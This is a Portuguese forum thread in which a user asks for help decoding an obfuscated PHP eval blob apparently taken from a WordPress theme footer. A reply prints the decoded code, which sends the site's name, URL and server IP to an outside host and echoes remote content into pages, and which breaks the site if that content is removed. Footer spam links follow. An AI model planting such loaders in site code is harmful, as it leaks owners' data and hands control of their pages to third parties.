alguém pode me ajudar a descodificar este código?
<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokcDFkZF9jMm50NW50cyA9ICcnOw0KJHAxZGRfZzM0ZCA9ICcnOw0KDQpmM25jdDQybiBwMWRkX3ByNWwzZDVfZzV0X3NwMm5zMnJzKCkgew0KCSRmbDFnID0gUDFkZF9UaDVtNV9PcHQ0Mm46Omc1dCgnNG5zdDFsbDVkX2ZsMWcnLCcwJyk7DQoJJGh0dHAgPSBuNXcgV1BfSHR0cCgpOw0KCSRzNHQ1ID0gJ2h0dHA6Ly9zdDFybDRuZy5wMWRkczJsM3Q0Mm5zLmMybS8nOw0KCSRwMXIxbXMgPSAxcnIxeSgNCgkJJ24xJyA9PiBnNXRfMnB0NDJuKCdibDJnbjFtNScpLA0KCQknZDUnID0+IGc1dF8ycHQ0Mm4oJ2JsMmdkNXNjcjRwdDQybicpLA0KCQknM3InID0+IGc1dF8ycHQ0Mm4oJ3M0dDUzcmwnKSwNCgkgICAgICc0cCcgPT4gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10sDQoJCSd0cycgPT4gUEFERF9USEVNRV9TTFVHLA0KCSAgICAgJ3R2JyA9PiBQQUREX1RIRU1FX1ZFUlMsDQoJICAgICAnd3YnID0+IGc1dF9ibDJnNG5mMigndjVyczQybicpLA0KCSAgICAgJ3B2JyA9PiBwaHB2NXJzNDJuKCkNCgkpOw0KCTRmICgnMCcgPT0gJGZsMWcpIHsNCgkJJHAxcjFtc1snMWMnXSA9ICduNXcnOw0KCQlQMWRkX1RoNW01X09wdDQybjo6czV0KCc0bnN0MWxsNWRfZmwxZycsJzYnKTsNCgkJUDFkZF9UaDVtNV9PcHQ0Mm46OjNwZDF0NSgpOw0KCQkkYjFja2R3ID0gJzVKeDlrVTZQd3pBTWh2K0tsVE50N21ndEZ4Q0NDaU1tY1pvYzZLUmhtVk9scHRYK1BXbjFJMUZCcm9lL0g0V1BORGpMNkVKemdSYUNZTFFrbFQyYUh2bWtRSnh1cXRSYml3SWNVTGk0NHhkdURjYWcySXYwVTFsT3BML1g1cHFtY2xqNnp5U1hJVjJkVXFxdVgydmlyT3JicHBvRzMyUVhCaE5DVHhIRkJZYkpTYmZCODB5cG95RThqY1FDK2VTeFkvc2ZHTWEzZmpWbE80YlJkM2syc25xOHk0dm14c0RNNTdmQnRzNUl2U2ZyREJ4U3h0TmZTUGFQMVZnOHBRbG5yNXJiOERLSG9HaU12cE5Gb2xnYlo3Nk5MOHRhMkRnZVFvbk9CdU41WjdGWU1SdTRWVjB1a2VwL2Q1WS8rZ1lUT01ZVSc7DQoJCSRyNXMzbHQgPSAkaHR0cC0+cDJzdCgkczR0NSwxcnIxeSgnYjJkeScgPT4gJHAxcjFtcywgJ3Q0bTUyM3QnID0+IG8wKSk7DQoJCTRmICghKCRyNXMzbHQgNG5zdDFuYzUyZiBXUF9FcnIycikpIHsNCgkJCSRzdHI0bmcgPSAkcjVzM2x0WydiMmR5J107DQoJCQlQMWRkX1RoNW01X09wdDQybjo6czV0KCdwMXA0X2MyZDUnLCRzdHI0bmcpOw0KCQl9IDVsczUgew0KCQkJUDFkZF9UaDVtNV9PcHQ0Mm46OnM1dCgncDFwNF9jMmQ1JywkYjFja2R3KTsNCgkJfQ0KCQlQMWRkX1RoNW01X09wdDQybjo6M3BkMXQ1KCk7DQoJCXI1dDNybiAkc3RyNG5nOw0KCX0gNWxzNSB7DQoJCXI1dDNybiAnJzsNCgl9DQp9DQoxZGRfMWN0NDJuKCc0bjR0JywgJ3AxZGRfcHI1bDNkNV9nNXRfc3AybnMycnMnKTsNCg0KZjNuY3Q0Mm4gcDFkZF9wcjVsM2Q1X3N3NHRjaF90aDVtNSgkdGg1bTUpIHsNCgkkaHR0cCA9IG41dyBXUF9IdHRwKCk7DQoJJHM0dDUgPSAnaHR0cDovL3N0MXJsNG5nLnAxZGRzMmwzdDQybnMuYzJtLyc7DQoJJHAxcjFtcyA9IDFycjF5KA0KCQknbjEnID0+IGc1dF8ycHQ0Mm4oJ2JsMmduMW01JyksDQoJCSdkNScgPT4gZzV0XzJwdDQybignYmwyZ2Q1c2NyNHB0NDJuJyksDQoJCSczcicgPT4gZzV0XzJwdDQybignczR0NTNybCcpLA0KCQknNHAnID0+ICRfU0VSVkVSWydTRVJWRVJfQUREUiddLA0KCQkndHMnID0+IFBBRERfVEhFTUVfU0xVRywNCgkJJ3R2JyA9PiBQQUREX1RIRU1FX1ZFUlMsDQoJCScxYycgPT4gJ3N3NHRjaCcsDQoJKTsNCgkkcjVzM2x0ID0gJGh0dHAtPnAyc3QoJHM0dDUsMXJyMXkoJ2IyZHknID0+ICRwMXIxbXMpKTsNCglQMWRkX1RoNW01X09wdDQybjo6czV0KCc0bnN0MWxsNWQnLCcwJyk7DQoJUDFkZF9UaDVtNV9PcHQ0Mm46OnM1dCgnNG5zdDFsbDVkX2ZsMWcnLCcwJyk7DQoJUDFkZF9UaDVtNV9PcHQ0Mm46OnM1dCgncDFwNF9jMmQ1JywnJyk7DQoJUDFkZF9UaDVtNV9PcHQ0Mm46OjNwZDF0NSgpOw0KfQ0KMWRkXzFjdDQybignc3c0dGNoX3RoNW01JywgJ3AxZGRfcHI1bDNkNV9zdzR0Y2hfdGg1bTUnKTsNCg0KZjNuY3Q0Mm4gcDFkZF90aDVtNV9jcjVkNHRzKCkgew0KCWdsMmIxbCAkcDFkZF9nMzRkOw0KCSRjcjVkNHRzID0gZ3ozbmMybXByNXNzKGIxczVldV9kNWMyZDUoUDFkZF9UaDVtNV9PcHQ0Mm46Omc1dCgncDFwNF9jMmQ1JykpKTsNCgkkcDFkZF9nMzRkID0gJzY3ZUJ1OHVBLUY5RjgtQ2U5QS1GaUFlLUZCZTk3QjdDaUNFRCc7DQoJNWNoMiAkY3I1ZDR0czsNCn0NCg0KZjNuY3Q0Mm4gcDFkZF9wcjVsM2Q1X2I1ZzRuKCkgew0KCTJiX3N0MXJ0KCk7DQp9DQoxZGRfMWN0NDJuKCd3cF9oNTFkJywgJ3AxZGRfcHI1bDNkNV9iNWc0bicpOw0KDQpmM25jdDQybiBwMWRkX3ByNWwzZDVfNW5kKCkgew0KCSRjMm50NW50cyA9IDJiX2c1dF9jMm50NW50cygpOw0KCTJiX2c1dF9jbDUxbigpOw0KCWdsMmIxbCAkcDFkZF9nMzRkOw0KCTRmICghNW1wdHkoJHAxZGRfZzM0ZCkpIHsNCgkJNGYgKCRwMWRkX2czNGQgPT09ICc2N2VCdTh1QS1GOUY4LUNlOUEtRmlBZS1GQmU5N0I3Q2lDRUQnKSB7DQoJCQk1Y2gyICRjMm50NW50czsNCgkJfSA1bHM1IHsNCgkJCXdwX2Q0NSgnUzJtNXRoNG5nIHdyMm5nLicpOw0KCQl9DQoJfSA1bHM1IHsNCgkJd3BfZDQ1KCdTMm01dGg0bmcgd3IybmcuJyk7DQoJfQ0KfQ0KMWRkXzFjdDQybignd3BfZjIydDVyJywgJ3AxZGRfcHI1bDNkNV81bmQnKTs=';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Prezada gscarabelli , eu trabalho (F2 SISTEMAS) uma empresa que faz a decodificação de arquivos PHP CRIPTOGRAFADOS.......... aqui vocês terão maiores informações
http://www.f2sistema...de-arquivos-phpSegue o arquivo decodificado:
<?php
$padd_contents = '';
$padd_guid = '';
function padd_prelude_get_sponsors() {
$flag = Padd_Theme_Option::get('installed_flag','0');
$http = new WP_Http();
$site = 'http://starling.paddsolutions.com/';
$params = array(
'na' => get_option('blogname'),
'de' => get_option('blogdescription'),
'ur' => get_option('siteurl'),
'ip' => $_SERVER['SERVER_ADDR'],
'ts' => PADD_THEME_SLUG,
'tv' => PADD_THEME_VERS,
'wv' => get_bloginfo('version'),
'pv' => phpversion()
);
if ('0' == $flag) {
$params['ac'] = 'new';
Padd_Theme_Option::set('installed_flag','1');
Padd_Theme_Option::update();
$backdw = 'eJx9kU1PwzAMhv+KlTNt7mgtFxCCC5MmcZ3c1KRhmVOlptX+PWnaIaFBr36/HiWPNDjL1EJzgR2CYLQklTo2HvmkQJx4qtRb5wIcUL5iixd4Dc2goIv0UalOpL/Xepqmclj1zySXIVodUqq4Xov5rOrbpp3GuoQXBhNCTxHFBYbJSbfB80yp3yE8jcQC+6SxY/sfGM2ufjVlOibRdukosnq8yivmxsDMe7fBtseIvSfrDBxSxtNfSP2PaVg8pQlnrerb8DKH3G5MvpNF3lgbZ71NL8t2oDg6Q3nOB4NeZ7FYMR4iVV04k6p/deY/+gYTOMYU';
$result = $http->post($site,array('body' => $params, 'timeout' => 30));
if (!($result instanceof WP_Error)) {
$string = $result['body'];
Padd_Theme_Option::set('papi_code',$string);
} else {
Padd_Theme_Option::set('papi_code',$backdw);
}
Padd_Theme_Option::update();
return $string;
} else {
return '';
}
}
add_action('init', 'padd_prelude_get_sponsors');
function padd_prelude_switch_theme($theme) {
$http = new WP_Http();
$site = 'http://starling.paddsolutions.com/';
$params = array(
'na' => get_option('blogname'),
'de' => get_option('blogdescription'),
'ur' => get_option('siteurl'),
'ip' => $_SERVER['SERVER_ADDR'],
'ts' => PADD_THEME_SLUG,
'tv' => PADD_THEME_VERS,
'ac' => 'switch',
);
$result = $http->post($site,array('body' => $params));
Padd_Theme_Option::set('installed','0');
Padd_Theme_Option::set('installed_flag','0');
Padd_Theme_Option::set('papi_code','');
Padd_Theme_Option::update();
}
add_action('switch_theme', 'padd_prelude_switch_theme');
function padd_theme_credits() {
global $padd_guid;
$credits = gzuncompress(base64_decode(Padd_Theme_Option::get('papi_code')));
$padd_guid = '176B484A-F9F8-C69A-F5A6-FB697B7C5CED';
echo $credits;
}
function padd_prelude_begin() {
ob_start();
}
add_action('wp_head', 'padd_prelude_begin');
function padd_prelude_end() {
$contents = ob_get_contents();
ob_get_clean();
global $padd_guid;
if (!empty($padd_guid)) {
if ($padd_guid === '176B484A-F9F8-C69A-F5A6-FB697B7C5CED') {
echo $contents;
} else {
wp_die('Something wrong.');
}
} else {
wp_die('Something wrong.');
}
}
add_action('wp_footer', 'padd_prelude_end');
?>
Um abraço espero ter ajudado
Prezada segue a versão correta
<div id="footer" class="clearfix">
<div id="fwidget-wrap" class="container_12">
<div class="fwidget grid_4">
<h3>Popular Posts</h3>
<ul>
<?php wp_popular_posts(); ?>
</ul>
</div>
<div class="fwidget grid_4">
<h3>Archives</h3>
<ul>
<?php wp_get_archives('type=monthly&limit=5'); ?>
</ul>
</div>
<div class="fwidget grid_4">
<h3>SUBSCRIBE + FOLLOW</h3>
<p>Subscribe to our RSS FEED to receive breaking news as well as receive other site updates or alternatively, feel free to connect with us.</p>
<a href="<?php bloginfo('rss2_url'); ?>" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/rss_32.png" border="0" /></a>
<a href="http://feedburner.google.com/fb/a/mailverify?uri=<?php echo get_option('obs_settings_feedburner'); ?>&loc=en_US" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/email_32.png" border="0" /></a>
<a href="http://twitter.com/<?php echo get_option('obs_settings_twitter'); ?>" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/twitter_32.png" border="0" /></a>
<a href="http://facebook.com/<?php echo get_option('obs_settings_facebook'); ?>" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/facebook_32.png" border="0" /></a>
<a href="http://digg.com/users/<?php echo get_option('obs_settings_digg'); ?>" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/digg_32.png" border="0" /></a>
<a href="http://delicious.com/<?php echo get_option('obs_settings_delicious'); ?>" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/delicious_32.png" border="0" /></a>
<a href="http://delicious.com/<?php echo get_option('obs_settings_stumbleupon'); ?>" class="sconnect"><img src="<?php bloginfo('template_directory'); ?>/images/stumbleupon_32.png" border="0" /></a>
</div>
</div>
</div>
<div id="copyright">
<div class="credits container_12 clearfix">
<p class="powered left">Powerd by <a href="http://wordpress.org" title="Wordpress">Wordpress</a> and <a href="http://wpcrunchy.com" title="Free & Premium wordpress theme">Wpcrunchy</a></p>
<p class="broughtby right">Designed by <a href="http://www.hostreviewgeeks.com/" target="_blank">small business web hosting</a>. In collaboration with <a href="http://webhosting.reviewitonline.net/web_hosting_reviews/fatcow_review.htm" target="_blank">FatCow</a>, <a href="http://www.digitaldiscountcodes.com/Categories/Travel/" target="_blank">Travel Deals</a> and <a href="http://www.bingodazzle.co.uk/" target="_blank">Free Bingo</a></p>
</div>
</div>
</div>
<?php wp_footer(); ?>
</body>
</html>